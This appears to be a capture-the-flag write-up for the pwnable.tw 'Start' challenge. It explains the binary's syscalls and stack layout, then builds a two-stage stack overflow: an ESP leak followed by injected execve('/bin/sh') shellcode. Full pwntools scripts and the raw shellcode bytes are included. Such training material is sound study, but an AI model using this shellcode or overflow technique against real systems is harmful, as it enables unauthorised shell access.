♟️

pwnable.tw - Start

Restarting my pwn journey! This time we’re going to look at pwnable.tw challenges. I’m starting easy as it’s been awhile since I did pwn. We’re going to be looking at the first challenge Start

GDB/GEF

Before we start, I’ve installed GEF, which is GDB on steroids
gef
hugsyUpdated Oct 31, 2023
We run the binary in GDB to get the functions
notion image
Disassembling _start to see what the main function looks like
notion image
int 0x80 triggers a syscall based on the values places in eax. It also depends if the binary is a 32bit or 64bit one.
From here, we can see two syscalls, and based on the documentation:
  • 0x04 is a call to write
  • 0x03 is a call to read
The code first pushes ESP, 0x804809d to the stack, followed by a bunch of string constants on the stack. ESP now points to the top of the stack, which are these string constants, and the code moves ESP to ECX. When the code calls a write syscall, it prints out whatever ECX is pointing to
notion image
The code then moves 0x3c which is 60 decimal to dl. When the code calls a read, dl specifies how many bytes to read in. In this case, the code reads in 60 bytes.
Finally, the code calls add esp, 0x14 and ret. This moves the stack pointer up by 0x14 or 20 times, and calls ret, which pops the value off the stack and returns to that value.

Exploitation

The angle of attack is as follows:
  1. Leak the value of ESP by letting ret point to 0x08048087. The instruction at 0x08048087 point to the middle of the code, and the instruction is mov ecx, esp followed by a print further down. What this does is it leaks the value of ESP by printing it out for us.
  1. Because we pointed the code into the middle of the code, there will be a second prompt for input, we put in a payload that points to the shellcode based on the leaked value of ESP
This is a little confusing, and I’ll draw out the stack in a minute.
Using pwntools, we execute the first attack to leak out the value of ESP
from pwn import * p = remote('chall.pwnable.tw', 10000) print(p.read()) buf = b'A'*20 buf += p32(0x08048087) p.send(buf) esp = unpack(p.read()[:4]) print(hex(esp))
Before the payload is sent over, the stack looks like this after pushing ESP, the exit address, and the 5 string constants.
notion image
notion image
After we send our payload, the stack looks like this. The input values overwrites the previous values on the stack starting at ESP
notion image
notion image
Because the code calls add esp, 0x14 before returning, it shifts ESP up 20 times, and now it points at 0x08048087.
notion image
notion image
When ret is called, the code jumps to the address pointed on the stack (0x08048087), and ESP is decremented by 4 bytes.
Now ESP points to the value of ESP saved earlier.
notion image
notion image
When the code calls mov ecx, esp, and calls print, it prints out the value of ESP stored earlier. In this example, it prints out 0xffffd100. This value is the leaked ESP which we will use to craft the payload.
Since we pointed the code to an address in the middle of the program, it’s now going to ask for an input a second time. This time, we’re going to send in the shellcode, leaked ESP + 20 followed by A * 20
This is how the stack looks like after we send the payload. Remember that sending data overwrites the current values on the stack.
notion image
notion image
Lets assume that the part highlighted contains our shellcode. Now when the code calls add esp, 0x14, ESP will point to 0xffffd114 which contains our shellcode. And when the code calls ret, it will jump to that value and execute our shellcode.
notion image
notion image
from pwn import * p = remote('chall.pwnable.tw', 10000) print(p.read()) buf = b'A'*20 buf += p32(0x08048087) p.send(buf) leaked_esp = unpack(p.read()[:4]) print(hex(leaked_esp )) shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' buf = b'a'*20 buf += p32(leaked_esp +20) buf += shellcode p.send(buf) p.interactive()